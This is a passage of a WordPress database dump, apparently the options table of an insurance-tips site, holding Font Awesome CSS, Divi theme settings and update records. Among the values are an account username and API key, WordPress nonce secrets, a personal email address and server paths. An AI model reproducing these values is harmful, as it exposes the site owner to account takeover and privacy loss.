ram:before{content:\"\\f2c6\"}.fa-telegram-plane:before{content:\"\\f3fe\"}.fa-temperature-high:before{content:\"\\f769\"}.fa-temperature-low:before{content:\"\\f76b\"}.fa-tencent-weibo:before{content:\"\\f1d5\"}.fa-tenge:before{content:\"\\f7d7\"}.fa-terminal:before{content:\"\\f120\"}.fa-text-height:before{content:\"\\f034\"}.fa-text-width:before{content:\"\\f035\"}.fa-th:before{content:\"\\f00a\"}.fa-th-large:before{content:\"\\f009\"}.fa-th-list:before{content:\"\\f00b\"}.fa-the-red-yeti:before{content:\"\\f69d\"}.fa-theater-masks:before{content:\"\\f630\"}.fa-themeco:before{content:\"\\f5c6\"}.fa-themeisle:before{content:\"\\f2b2\"}.fa-thermometer:before{content:\"\\f491\"}.fa-thermometer-empty:before{content:\"\\f2cb\"}.fa-thermometer-full:before{content:\"\\f2c7\"}.fa-thermometer-half:before{content:\"\\f2c9\"}.fa-thermometer-quarter:before{content:\"\\f2ca\"}.fa-thermometer-three-quarters:before{content:\"\\f2c8\"}.fa-think-peaks:before{content:\"\\f731\"}.fa-thumbs-down:before{content:\"\\f165\"}.fa-thumbs-up:before{content:\"\\f164\"}.fa-thumbtack:before{content:\"\\f08d\"}.fa-ticket-alt:before{content:\"\\f3ff\"}.fa-times:before{content:\"\\f00d\"}.fa-times-circle:before{content:\"\\f057\"}.fa-tint:before{content:\"\\f043\"}.fa-tint-slash:before{content:\"\\f5c7\"}.fa-tired:before{content:\"\\f5c8\"}.fa-toggle-off:before{content:\"\\f204\"}.fa-toggle-on:before{content:\"\\f205\"}.fa-toilet:before{content:\"\\f7d8\"}.fa-toilet-paper:before{content:\"\\f71e\"}.fa-toolbox:before{content:\"\\f552\"}.fa-tools:before{content:\"\\f7d9\"}.fa-tooth:before{content:\"\\f5c9\"}.fa-torah:before{content:\"\\f6a0\"}.fa-torii-gate:before{content:\"\\f6a1\"}.fa-tractor:before{content:\"\\f722\"}.fa-trade-federation:before{content:\"\\f513\"}.fa-trademark:before{content:\"\\f25c\"}.fa-traffic-light:before{content:\"\\f637\"}.fa-train:before{content:\"\\f238\"}.fa-tram:before{content:\"\\f7da\"}.fa-transgender:before{content:\"\\f224\"}.fa-transgender-alt:before{content:\"\\f225\"}.fa-trash:before{content:\"\\f1f8\"}.fa-trash-alt:before{content:\"\\f2ed\"}.fa-trash-restore:before{content:\"\\f829\"}.fa-trash-restore-alt:before{content:\"\\f82a\"}.fa-tree:before{content:\"\\f1bb\"}.fa-trello:before{content:\"\\f181\"}.fa-tripadvisor:before{content:\"\\f262\"}.fa-trophy:before{content:\"\\f091\"}.fa-truck:before{content:\"\\f0d1\"}.fa-truck-loading:before{content:\"\\f4de\"}.fa-truck-monster:before{content:\"\\f63b\"}.fa-truck-moving:before{content:\"\\f4df\"}.fa-truck-pickup:before{content:\"\\f63c\"}.fa-tshirt:before{content:\"\\f553\"}.fa-tty:before{content:\"\\f1e4\"}.fa-tumblr:before{content:\"\\f173\"}.fa-tumblr-square:before{content:\"\\f174\"}.fa-tv:before{content:\"\\f26c\"}.fa-twitch:before{content:\"\\f1e8\"}.fa-twitter:before{content:\"\\f099\"}.fa-twitter-square:before{content:\"\\f081\"}.fa-typo3:before{content:\"\\f42b\"}.fa-uber:before{content:\"\\f402\"}.fa-ubuntu:before{content:\"\\f7df\"}.fa-uikit:before{content:\"\\f403\"}.fa-umbraco:before{content:\"\\f8e8\"}.fa-umbrella:before{content:\"\\f0e9\"}.fa-umbrella-beach:before{content:\"\\f5ca\"}.fa-underline:before{content:\"\\f0cd\"}.fa-undo:before{content:\"\\f0e2\"}.fa-undo-alt:before{content:\"\\f2ea\"}.fa-uniregistry:before{content:\"\\f404\"}.fa-universal-access:before{content:\"\\f29a\"}.fa-university:before{content:\"\\f19c\"}.fa-unlink:before{content:\"\\f127\"}.fa-unlock:before{content:\"\\f09c\"}.fa-unlock-alt:before{content:\"\\f13e\"}.fa-untappd:before{content:\"\\f405\"}.fa-upload:before{content:\"\\f093\"}.fa-ups:before{content:\"\\f7e0\"}.fa-usb:before{content:\"\\f287\"}.fa-user:before{content:\"\\f007\"}.fa-user-alt:before{content:\"\\f406\"}.fa-user-alt-slash:before{content:\"\\f4fa\"}.fa-user-astronaut:before{content:\"\\f4fb\"}.fa-user-check:before{content:\"\\f4fc\"}.fa-user-circle:before{content:\"\\f2bd\"}.fa-user-clock:before{content:\"\\f4fd\"}.fa-user-cog:before{content:\"\\f4fe\"}.fa-user-edit:before{content:\"\\f4ff\"}.fa-user-friends:before{content:\"\\f500\"}.fa-user-graduate:before{content:\"\\f501\"}.fa-user-injured:before{content:\"\\f728\"}.fa-user-lock:before{content:\"\\f502\"}.fa-user-md:before{content:\"\\f0f0\"}.fa-user-minus:before{content:\"\\f503\"}.fa-user-ninja:before{content:\"\\f504\"}.fa-user-nurse:before{content:\"\\f82f\"}.fa-user-plus:before{content:\"\\f234\"}.fa-user-secret:before{content:\"\\f21b\"}.fa-user-shield:before{content:\"\\f505\"}.fa-user-slash:before{content:\"\\f506\"}.fa-user-tag:before{content:\"\\f507\"}.fa-user-tie:before{content:\"\\f508\"}.fa-user-times:before{content:\"\\f235\"}.fa-users:before{content:\"\\f0c0\"}.fa-users-cog:before{content:\"\\f509\"}.fa-usps:before{content:\"\\f7e1\"}.fa-ussunnah:before{content:\"\\f407\"}.fa-utensil-spoon:before{content:\"\\f2e5\"}.fa-utensils:before{content:\"\\f2e7\"}.fa-vaadin:before{content:\"\\f408\"}.fa-vector-square:before{content:\"\\f5cb\"}.fa-venus:before{content:\"\\f221\"}.fa-venus-double:before{content:\"\\f226\"}.fa-venus-mars:before{content:\"\\f228\"}.fa-viacoin:before{content:\"\\f237\"}.fa-viadeo:before{content:\"\\f2a9\"}.fa-viadeo-square:before{content:\"\\f2aa\"}.fa-vial:before{content:\"\\f492\"}.fa-vials:before{content:\"\\f493\"}.fa-viber:before{content:\"\\f409\"}.fa-video:before{content:\"\\f03d\"}.fa-video-slash:before{content:\"\\f4e2\"}.fa-vihara:before{content:\"\\f6a7\"}.fa-vimeo:before{content:\"\\f40a\"}.fa-vimeo-square:before{content:\"\\f194\"}.fa-vimeo-v:before{content:\"\\f27d\"}.fa-vine:before{content:\"\\f1ca\"}.fa-vk:before{content:\"\\f189\"}.fa-vnv:before{content:\"\\f40b\"}.fa-voicemail:before{content:\"\\f897\"}.fa-volleyball-ball:before{content:\"\\f45f\"}.fa-volume-down:before{content:\"\\f027\"}.fa-volume-mute:before{content:\"\\f6a9\"}.fa-volume-off:before{content:\"\\f026\"}.fa-volume-up:before{content:\"\\f028\"}.fa-vote-yea:before{content:\"\\f772\"}.fa-vr-cardboard:before{content:\"\\f729\"}.fa-vuejs:before{content:\"\\f41f\"}.fa-walking:before{content:\"\\f554\"}.fa-wallet:before{content:\"\\f555\"}.fa-warehouse:before{content:\"\\f494\"}.fa-water:before{content:\"\\f773\"}.fa-wave-square:before{content:\"\\f83e\"}.fa-waze:before{content:\"\\f83f\"}.fa-weebly:before{content:\"\\f5cc\"}.fa-weibo:before{content:\"\\f18a\"}.fa-weight:before{content:\"\\f496\"}.fa-weight-hanging:before{content:\"\\f5cd\"}.fa-weixin:before{content:\"\\f1d7\"}.fa-whatsapp:before{content:\"\\f232\"}.fa-whatsapp-square:before{content:\"\\f40c\"}.fa-wheelchair:before{content:\"\\f193\"}.fa-whmcs:before{content:\"\\f40d\"}.fa-wifi:before{content:\"\\f1eb\"}.fa-wikipedia-w:before{content:\"\\f266\"}.fa-wind:before{content:\"\\f72e\"}.fa-window-close:before{content:\"\\f410\"}.fa-window-maximize:before{content:\"\\f2d0\"}.fa-window-minimize:before{content:\"\\f2d1\"}.fa-window-restore:before{content:\"\\f2d2\"}.fa-windows:before{content:\"\\f17a\"}.fa-wine-bottle:before{content:\"\\f72f\"}.fa-wine-glass:before{content:\"\\f4e3\"}.fa-wine-glass-alt:before{content:\"\\f5ce\"}.fa-wix:before{content:\"\\f5cf\"}.fa-wizards-of-the-coast:before{content:\"\\f730\"}.fa-wolf-pack-battalion:before{content:\"\\f514\"}.fa-won-sign:before{content:\"\\f159\"}.fa-wordpress:before{content:\"\\f19a\"}.fa-wordpress-simple:before{content:\"\\f411\"}.fa-wpbeginner:before{content:\"\\f297\"}.fa-wpexplorer:before{content:\"\\f2de\"}.fa-wpforms:before{content:\"\\f298\"}.fa-wpressr:before{content:\"\\f3e4\"}.fa-wrench:before{content:\"\\f0ad\"}.fa-x-ray:before{content:\"\\f497\"}.fa-xbox:before{content:\"\\f412\"}.fa-xing:before{content:\"\\f168\"}.fa-xing-square:before{content:\"\\f169\"}.fa-y-combinator:before{content:\"\\f23b\"}.fa-yahoo:before{content:\"\\f19e\"}.fa-yammer:before{content:\"\\f840\"}.fa-yandex:before{content:\"\\f413\"}.fa-yandex-international:before{content:\"\\f414\"}.fa-yarn:before{content:\"\\f7e3\"}.fa-yelp:before{content:\"\\f1e9\"}.fa-yen-sign:before{content:\"\\f157\"}.fa-yin-yang:before{content:\"\\f6ad\"}.fa-yoast:before{content:\"\\f2b1\"}.fa-youtube:before{content:\"\\f167\"}.fa-youtube-square:before{content:\"\\f431\"}.fa-zhihu:before{content:\"\\f63f\"}','yes'),(324,'_transient_fusion_dynamic_js_readable','1','yes'),(381,'theme_switched_via_customizer','','yes'),(382,'customize_stashed_theme_mods','a:0:{}','no'),(292,'et_core_version','4.0.9','yes'),(294,'et_divi','a:283:{s:39:\"static_css_custom_css_safety_check_done\";b:1;s:23:\"2_5_flush_rewrite_rules\";s:4:\"done\";s:30:\"et_flush_rewrite_rules_library\";s:5:\"4.0.9\";s:31:\"divi_previous_installed_version\";s:0:\"\";s:29:\"divi_latest_installed_version\";s:5:\"4.0.9\";s:27:\"divi_skip_font_subset_force\";b:1;s:27:\"et_pb_clear_templates_cache\";b:1;s:23:\"builder_custom_defaults\";O:8:\"stdClass\":0:{}s:33:\"customizer_settings_migrated_flag\";b:1;s:34:\"builder_custom_defaults_unmigrated\";b:0;s:15:\"divi_1_3_images\";s:7:\"checked\";s:21:\"et_pb_layouts_updated\";b:1;s:30:\"library_removed_legacy_layouts\";b:1;s:19:\"post_meta_font_size\";s:2:\"14\";s:16:\"post_meta_height\";s:1:\"1\";s:17:\"post_meta_spacing\";s:1:\"0\";s:15:\"post_meta_style\";s:0:\"\";s:21:\"post_header_font_size\";s:2:\"30\";s:18:\"post_header_height\";s:1:\"1\";s:19:\"post_header_spacing\";s:1:\"0\";s:17:\"post_header_style\";s:0:\"\";s:12:\"boxed_layout\";s:0:\"\";s:13:\"content_width\";s:4:\"1080\";s:12:\"gutter_width\";s:1:\"3\";s:17:\"use_sidebar_width\";s:0:\"\";s:13:\"sidebar_width\";s:2:\"21\";s:15:\"section_padding\";s:1:\"4\";s:20:\"phone_section_height\";s:2:\"50\";s:21:\"tablet_section_height\";s:2:\"50\";s:11:\"row_padding\";s:1:\"2\";s:16:\"phone_row_height\";s:2:\"30\";s:17:\"tablet_row_height\";s:2:\"30\";s:16:\"cover_background\";s:2:\"on\";s:14:\"body_font_size\";s:2:\"14\";s:16:\"body_font_height\";s:3:\"1.7\";s:20:\"phone_body_font_size\";s:2:\"14\";s:21:\"tablet_body_font_size\";s:2:\"14\";s:16:\"body_header_size\";s:2:\"30\";s:19:\"body_header_spacing\";s:1:\"0\";s:18:\"body_header_height\";s:1:\"1\";s:17:\"body_header_style\";s:0:\"\";s:22:\"phone_header_font_size\";s:2:\"30\";s:23:\"tablet_header_font_size\";s:2:\"30\";s:12:\"heading_font\";s:4:\"none\";s:9:\"body_font\";s:4:\"none\";s:10:\"link_color\";s:7:\"#2ea3f2\";s:10:\"font_color\";s:7:\"#666666\";s:12:\"header_color\";s:7:\"#666666\";s:12:\"accent_color\";s:7:\"#2ea3f2\";s:13:\"color_schemes\";s:6:\"orange\";s:12:\"header_style\";s:4:\"left\";s:12:\"vertical_nav\";b:0;s:24:\"vertical_nav_orientation\";s:4:\"left\";s:8:\"hide_nav\";b:0;s:24:\"show_header_social_icons\";b:0;s:16:\"show_search_icon\";b:1;s:22:\"slide_nav_show_top_bar\";s:2:\"on\";s:15:\"slide_nav_width\";s:3:\"320\";s:19:\"slide_nav_font_size\";s:2:\"14\";s:23:\"slide_nav_top_font_size\";s:2:\"14\";s:24:\"fullscreen_nav_font_size\";s:2:\"30\";s:28:\"fullscreen_nav_top_font_size\";s:2:\"18\";s:22:\"slide_nav_font_spacing\";s:1:\"0\";s:14:\"slide_nav_font\";s:4:\"none\";s:20:\"slide_nav_font_style\";s:0:\"\";s:12:\"slide_nav_bg\";s:7:\"#2ea3f2\";s:21:\"slide_nav_links_color\";s:7:\"#ffffff\";s:28:\"slide_nav_links_color_active\";s:7:\"#ffffff\";s:19:\"slide_nav_top_color\";s:21:\"rgba(255,255,255,0.6)\";s:16:\"slide_nav_search\";s:21:\"rgba(255,255,255,0.6)\";s:19:\"slide_nav_search_bg\";s:15:\"rgba(0,0,0,0.2)\";s:13:\"nav_fullwidth\";b:1;s:17:\"hide_primary_logo\";b:1;s:11:\"menu_height\";s:2:\"66\";s:11:\"logo_height\";s:2:\"54\";s:15:\"menu_margin_top\";s:1:\"0\";s:21:\"primary_nav_font_size\";s:2:\"14\";s:24:\"primary_nav_font_spacing\";s:1:\"0\";s:16:\"primary_nav_font\";s:4:\"none\";s:22:\"primary_nav_font_style\";s:0:\"\";s:23:\"secondary_nav_font_size\";s:2:\"12\";s:23:\"secondary_nav_fullwidth\";s:0:\"\";s:26:\"secondary_nav_font_spacing\";s:1:\"0\";s:18:\"secondary_nav_font\";s:4:\"none\";s:24:\"secondary_nav_font_style\";s:0:\"\";s:9:\"menu_link\";s:15:\"rgba(0,0,0,0.6)\";s:16:\"hide_mobile_logo\";s:0:\"\";s:16:\"mobile_menu_link\";s:15:\"rgba(0,0,0,0.6)\";s:16:\"menu_link_active\";s:7:\"#2ea3f2\";s:14:\"primary_nav_bg\";s:7:\"#ffffff\";s:23:\"primary_nav_dropdown_bg\";s:7:\"#ffffff\";s:31:\"primary_nav_dropdown_line_color\";s:7:\"#2ea3f2\";s:31:\"primary_nav_dropdown_link_color\";s:15:\"rgba(0,0,0,0.7)\";s:30:\"primary_nav_dropdown_animation\";s:4:\"fade\";s:21:\"mobile_primary_nav_bg\";s:7:\"#ffffff\";s:16:\"secondary_nav_bg\";s:7:\"#2ea3f2\";s:28:\"secondary_nav_text_color_new\";s:7:\"#ffffff\";s:25:\"secondary_nav_dropdown_bg\";s:7:\"#2ea3f2\";s:33:\"secondary_nav_dropdown_link_color\";s:7:\"#ffffff\";s:32:\"secondary_nav_dropdown_animation\";s:4:\"fade\";s:22:\"primary_nav_text_color\";s:4:\"dark\";s:24:\"secondary_nav_text_color\";s:5:\"light\";s:15:\"hide_fixed_logo\";s:0:\"\";s:21:\"minimized_menu_height\";s:2:\"40\";s:27:\"fixed_primary_nav_font_size\";s:2:\"14\";s:20:\"fixed_primary_nav_bg\";s:7:\"#ffffff\";s:22:\"fixed_secondary_nav_bg\";s:7:\"#2ea3f2\";s:15:\"fixed_menu_link\";s:15:\"rgba(0,0,0,0.6)\";s:25:\"fixed_secondary_menu_link\";s:7:\"#ffffff\";s:22:\"fixed_menu_link_active\";s:7:\"#2ea3f2\";s:12:\"phone_number\";s:0:\"\";s:12:\"header_email\";s:0:\"\";s:24:\"show_footer_social_icons\";b:0;s:14:\"footer_columns\";s:1:\"4\";s:9:\"footer_bg\";s:7:\"#222222\";s:23:\"widget_header_font_size\";d:18;s:24:\"widget_header_font_style\";b:0;s:21:\"widget_body_font_size\";s:2:\"14\";s:23:\"widget_body_line_height\";s:3:\"1.7\";s:22:\"widget_body_font_style\";b:0;s:24:\"footer_widget_text_color\";s:7:\"#ffffff\";s:24:\"footer_widget_link_color\";s:7:\"#ffffff\";s:26:\"footer_widget_header_color\";s:7:\"#2ea3f2\";s:26:\"footer_widget_bullet_color\";s:7:\"#2ea3f2\";s:28:\"footer_menu_background_color\";s:22:\"rgba(255,255,255,0.05)\";s:22:\"footer_menu_text_color\";s:7:\"#bbbbbb\";s:29:\"footer_menu_active_link_color\";s:7:\"#2ea3f2\";s:26:\"footer_menu_letter_spacing\";s:1:\"0\";s:22:\"footer_menu_font_style\";b:0;s:21:\"footer_menu_font_size\";s:2:\"14\";s:27:\"bottom_bar_background_color\";s:16:\"rgba(0,0,0,0.32)\";s:21:\"bottom_bar_text_color\";s:7:\"#666666\";s:21:\"bottom_bar_font_style\";b:0;s:20:\"bottom_bar_font_size\";s:2:\"14\";s:27:\"bottom_bar_social_icon_size\";s:2:\"24\";s:28:\"bottom_bar_social_icon_color\";s:7:\"#666666\";s:29:\"disable_custom_footer_credits\";b:1;s:21:\"custom_footer_credits\";s:0:\"\";s:21:\"all_buttons_font_size\";s:2:\"20\";s:22:\"all_buttons_text_color\";s:0:\"\";s:20:\"all_buttons_bg_color\";s:13:\"rgba(0,0,0,0)\";s:24:\"all_buttons_border_width\";s:1:\"2\";s:24:\"all_buttons_border_color\";s:7:\"#ffffff\";s:25:\"all_buttons_border_radius\";s:1:\"3\";s:19:\"all_buttons_spacing\";s:1:\"0\";s:22:\"all_buttons_font_style\";s:0:\"\";s:16:\"all_buttons_font\";s:4:\"none\";s:16:\"all_buttons_icon\";s:3:\"yes\";s:25:\"all_buttons_selected_icon\";s:1:\"5\";s:22:\"all_buttons_icon_color\";s:7:\"#ffffff\";s:26:\"all_buttons_icon_placement\";s:5:\"right\";s:22:\"all_buttons_icon_hover\";s:3:\"yes\";s:28:\"all_buttons_text_color_hover\";s:0:\"\";s:26:\"all_buttons_bg_color_hover\";s:21:\"rgba(255,255,255,0.2)\";s:30:\"all_buttons_border_color_hover\";s:13:\"rgba(0,0,0,0)\";s:31:\"all_buttons_border_radius_hover\";b:0;s:25:\"all_buttons_spacing_hover\";b:0;s:40:\"divi_email_provider_credentials_migrated\";b:1;s:30:\"divi_2_4_documentation_message\";s:9:\"triggered\";s:9:\"divi_logo\";s:76:\"http://smartinsurance.tips/wp-content/uploads/2019/12/SmartInsuranceTips.png\";s:14:\"divi_fixed_nav\";s:5:\"false\";s:26:\"divi_gallery_layout_enable\";s:5:\"false\";s:18:\"divi_color_palette\";s:63:\"#000000|#ffffff|#e02b20|#e09900|#edf000|#7cda24|#0c71c3|#8300e9\";s:15:\"divi_grab_image\";s:5:\"false\";s:15:\"divi_blog_style\";s:5:\"false\";s:12:\"divi_sidebar\";s:16:\"et_right_sidebar\";s:22:\"divi_shop_page_sidebar\";s:16:\"et_right_sidebar\";s:23:\"divi_show_facebook_icon\";s:2:\"on\";s:22:\"divi_show_twitter_icon\";s:2:\"on\";s:21:\"divi_show_google_icon\";s:2:\"on\";s:24:\"divi_show_instagram_icon\";s:2:\"on\";s:18:\"divi_show_rss_icon\";s:2:\"on\";s:17:\"divi_facebook_url\";s:1:\"#\";s:16:\"divi_twitter_url\";s:1:\"#\";s:15:\"divi_google_url\";s:1:\"#\";s:18:\"divi_instagram_url\";s:1:\"#\";s:12:\"divi_rss_url\";s:0:\"\";s:34:\"divi_woocommerce_archive_num_posts\";i:9;s:17:\"divi_catnum_posts\";i:6;s:21:\"divi_archivenum_posts\";i:5;s:20:\"divi_searchnum_posts\";i:5;s:17:\"divi_tagnum_posts\";i:5;s:16:\"divi_date_format\";s:6:\"M j, Y\";s:16:\"divi_use_excerpt\";s:5:\"false\";s:26:\"divi_responsive_shortcodes\";s:2:\"on\";s:33:\"divi_gf_enable_all_character_sets\";s:5:\"false\";s:16:\"divi_back_to_top\";s:5:\"false\";s:18:\"divi_smooth_scroll\";s:5:\"false\";s:25:\"divi_disable_translations\";s:5:\"false\";s:29:\"divi_enable_responsive_images\";s:2:\"on\";s:27:\"divi_minify_combine_scripts\";s:2:\"on\";s:26:\"divi_minify_combine_styles\";s:2:\"on\";s:15:\"divi_custom_css\";s:0:\"\";s:21:\"divi_enable_dropdowns\";s:2:\"on\";s:14:\"divi_home_link\";s:2:\"on\";s:15:\"divi_sort_pages\";s:10:\"post_title\";s:15:\"divi_order_page\";s:3:\"asc\";s:22:\"divi_tiers_shown_pages\";i:3;s:32:\"divi_enable_dropdowns_categories\";s:2:\"on\";s:21:\"divi_categories_empty\";s:2:\"on\";s:27:\"divi_tiers_shown_categories\";i:3;s:13:\"divi_sort_cat\";s:4:\"name\";s:14:\"divi_order_cat\";s:3:\"asc\";s:20:\"divi_disable_toptier\";s:5:\"false\";s:25:\"divi_scroll_to_anchor_fix\";s:5:\"false\";s:27:\"et_pb_post_type_integration\";a:3:{s:4:\"post\";s:2:\"on\";s:4:\"page\";s:2:\"on\";s:7:\"project\";s:2:\"on\";}s:21:\"et_pb_static_css_file\";s:2:\"on\";s:19:\"et_pb_css_in_footer\";s:3:\"off\";s:25:\"et_pb_product_tour_global\";s:2:\"on\";s:24:\"et_enable_classic_editor\";s:3:\"off\";s:14:\"divi_postinfo2\";a:1:{i:0;s:6:\"author\";}s:22:\"divi_show_postcomments\";s:5:\"false\";s:15:\"divi_thumbnails\";s:5:\"false\";s:20:\"divi_page_thumbnails\";s:5:\"false\";s:23:\"divi_show_pagescomments\";s:5:\"false\";s:14:\"divi_postinfo1\";a:3:{i:0;s:6:\"author\";i:1;s:4:\"date\";i:2;s:10:\"categories\";}s:21:\"divi_thumbnails_index\";s:2:\"on\";s:19:\"divi_seo_home_title\";s:5:\"false\";s:25:\"divi_seo_home_description\";s:5:\"false\";s:22:\"divi_seo_home_keywords\";s:5:\"false\";s:23:\"divi_seo_home_canonical\";s:5:\"false\";s:23:\"divi_seo_home_titletext\";s:0:\"\";s:29:\"divi_seo_home_descriptiontext\";s:0:\"\";s:26:\"divi_seo_home_keywordstext\";s:0:\"\";s:18:\"divi_seo_home_type\";s:27:\"BlogName | Blog description\";s:22:\"divi_seo_home_separate\";s:3:\" | \";s:21:\"divi_seo_single_title\";s:5:\"false\";s:27:\"divi_seo_single_description\";s:5:\"false\";s:24:\"divi_seo_single_keywords\";s:5:\"false\";s:25:\"divi_seo_single_canonical\";s:5:\"false\";s:27:\"divi_seo_single_field_title\";s:9:\"seo_title\";s:33:\"divi_seo_single_field_description\";s:15:\"seo_description\";s:30:\"divi_seo_single_field_keywords\";s:12:\"seo_keywords\";s:20:\"divi_seo_single_type\";s:21:\"Post title | BlogName\";s:24:\"divi_seo_single_separate\";s:3:\" | \";s:24:\"divi_seo_index_canonical\";s:5:\"false\";s:26:\"divi_seo_index_description\";s:5:\"false\";s:19:\"divi_seo_index_type\";s:24:\"Category name | BlogName\";s:23:\"divi_seo_index_separate\";s:3:\" | \";s:28:\"divi_integrate_header_enable\";s:2:\"on\";s:26:\"divi_integrate_body_enable\";s:2:\"on\";s:31:\"divi_integrate_singletop_enable\";s:2:\"on\";s:34:\"divi_integrate_singlebottom_enable\";s:2:\"on\";s:21:\"divi_integration_head\";s:0:\"\";s:21:\"divi_integration_body\";s:0:\"\";s:27:\"divi_integration_single_top\";s:0:\"\";s:30:\"divi_integration_single_bottom\";s:0:\"\";s:15:\"divi_468_enable\";s:5:\"false\";s:14:\"divi_468_image\";s:0:\"\";s:12:\"divi_468_url\";s:0:\"\";s:16:\"divi_468_adsense\";s:0:\"\";s:19:\"product_tour_status\";a:1:{i:1;s:3:\"off\";}s:32:\"et_fb_pref_settings_bar_location\";s:6:\"bottom\";s:28:\"et_fb_pref_builder_animation\";s:4:\"true\";s:41:\"et_fb_pref_builder_display_modal_settings\";s:5:\"false\";s:39:\"et_fb_pref_builder_enable_dummy_content\";s:4:\"true\";s:21:\"et_fb_pref_event_mode\";s:5:\"click\";s:20:\"et_fb_pref_view_mode\";s:7:\"desktop\";s:32:\"et_fb_pref_hide_disabled_modules\";s:5:\"false\";s:28:\"et_fb_pref_history_intervals\";i:1;s:29:\"et_fb_pref_page_creation_flow\";s:7:\"default\";s:42:\"et_fb_pref_quick_actions_always_start_with\";s:7:\"nothing\";s:44:\"et_fb_pref_quick_actions_show_recent_queries\";s:3:\"off\";s:39:\"et_fb_pref_quick_actions_recent_queries\";s:0:\"\";s:40:\"et_fb_pref_quick_actions_recent_category\";s:0:\"\";s:27:\"et_fb_pref_modal_preference\";s:7:\"default\";s:30:\"et_fb_pref_modal_snap_location\";s:0:\"\";s:21:\"et_fb_pref_modal_snap\";s:5:\"false\";s:27:\"et_fb_pref_modal_fullscreen\";s:5:\"false\";s:32:\"et_fb_pref_modal_dimension_width\";i:400;s:33:\"et_fb_pref_modal_dimension_height\";i:435;s:27:\"et_fb_pref_modal_position_x\";i:0;s:27:\"et_fb_pref_modal_position_y\";i:0;s:24:\"et_fb_pref_toolbar_click\";s:5:\"false\";s:26:\"et_fb_pref_toolbar_desktop\";s:4:\"true\";s:23:\"et_fb_pref_toolbar_grid\";s:5:\"false\";s:24:\"et_fb_pref_toolbar_hover\";s:5:\"false\";s:24:\"et_fb_pref_toolbar_phone\";s:4:\"true\";s:25:\"et_fb_pref_toolbar_tablet\";s:4:\"true\";s:28:\"et_fb_pref_toolbar_wireframe\";s:4:\"true\";s:23:\"et_fb_pref_toolbar_zoom\";s:4:\"true\";s:14:\"divi_menupages\";a:2:{i:0;i:2;i:1;i:13;}s:12:\"divi_favicon\";s:0:\"\";}','yes'),(295,'widget_aboutmewidget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(296,'widget_adsensewidget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(297,'widget_advwidget','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(298,'et_support_site_id','=*aHrs42QJiGouw1-$7W','yes'),(299,'et_safe_mode_plugins_whitelist','a:8:{i:0;s:15:\"etdev/etdev.php\";i:1;s:15:\"bloom/bloom.php\";i:2;s:19:\"monarch/monarch.php\";i:3;s:29:\"divi-builder/divi-builder.php\";i:4;s:27:\"ari-adminer/ari-adminer.php\";i:5;s:31:\"query-monitor/query-monitor.php\";i:6;s:27:\"woocommerce/woocommerce.php\";i:7;s:47:\"really-simple-ssl/rlrsssl-really-simple-ssl.php\";}','yes'),(300,'et_support_center_installed','true','yes'),(301,'et_images_temp_folder','/home/channel/smartinsurance.tips/wp-content/uploads/et_temp','yes'),(302,'et_schedule_clean_images_last_time','1650141124','yes'),(303,'et_bfb_settings','a:2:{s:10:\"enable_bfb\";s:2:\"on\";s:10:\"toggle_bfb\";s:2:\"on\";}','yes'),(305,'et_support_center_setup_done','processed','yes'),(378,'_transient_timeout_fusion_dynamic_css_04a79e095c435e9eb73123b98e6122be','1576900998','no'),(4724,'auto_core_update_notified','a:4:{s:4:\"type\";s:7:\"success\";s:5:\"email\";s:19:\"mikedemko@gmail.com\";s:7:\"version\";s:5:\"6.3.4\";s:9:\"timestamp\";i:1712702767;}','no'),(391,'et_automatic_updates_options','a:2:{s:8:\"username\";s:11:\"MyssMiranda\";s:7:\"api_key\";s:40:\"3cb6413826d5c436778e071bd86078e1cb59a68d\";}','no'),(395,'et_account_status','active','no'),(454,'nav_menu_options','a:2:{i:0;b:0;s:8:\"auto_add\";a:0:{}}','yes'),(467,'category_children','a:0:{}','yes'),(469,'layout_category_children','a:0:{}','yes'),(19391,'_site_transient_et_update_all_plugins','O:8:\"stdClass\":1:{s:12:\"last_checked\";i:1622487512;}','no'),(19395,'disallowed_keys','','no'),(19396,'comment_previously_approved','1','yes'),(19397,'auto_plugin_theme_update_emails','a:0:{}','no'),(19398,'auto_update_core_dev','enabled','yes'),(19399,'auto_update_core_minor','enabled','yes'),(19400,'auto_update_core_major','unset','yes'),(19409,'https_detection_errors','a:0:{}','yes'),(33406,'theme_mods_twentytwentytwo','a:3:{s:18:\"nav_menu_locations\";a:0:{}s:18:\"custom_css_post_id\";i:-1;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1650924844;s:4:\"data\";a:1:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}}}}','yes'),(19047,'et_account_status_last_checked','1624924420','no'),(19048,'_site_transient_et_update_themes','O:8:\"stdClass\":3:{s:7:\"checked\";a:5:{s:5:\"Avada\";s:5:\"6.1.2\";s:4:\"Divi\";s:5:\"4.0.9\";s:14:\"twentynineteen\";s:3:\"1.4\";s:12:\"twentytwenty\";s:3:\"1.1\";s:15:\"twentytwentyone\";s:3:\"1.3\";}s:8:\"response\";a:1:{s:4:\"Divi\";a:5:{s:11:\"new_version\";s:5:\"4.9.7\";s:5:\"theme\";s:4:\"Divi\";s:3:\"url\";s:52:\"https://www.elegantthemes.com/api/changelog/divi.txt\";s:18:\"et_username_status\";s:6:\"active\";s:17:\"et_api_key_status\";s:7:\"invalid\";}}s:12:\"last_checked\";i:1624924420;}','no'),(33397,'nonce_key','Z$XNsh>=P)03SpiB&5X{Z2gvx*u*|~^&)C89E!w[I3CO#hV~{MAN(7+@Q_x(`c1Y','no'),(33398,'nonce_salt','lXS9lodjVyniY!kqEY!i?Dw$y<5,g;hh%-e%k)}wGvgvvz.wiiaB9ha=*cj-gHTP','no'),(33399,'widget_block','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(775401,'user_count','2','no'),(33412,'theme_mods_twentytwentyone','a:3:{s:18:\"nav_menu_locations\";a:2:{s:7:\"primary\";i:6;s:6:\"footer\";i:0;}s:18:\"custom_css_post_id\";i:-1;s:16:\"sidebars_widgets\";a:2:{s:4:\"time\";i:1694657121;s:4:\"data\";a:2:{s:19:\"wp_inactive_widgets\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s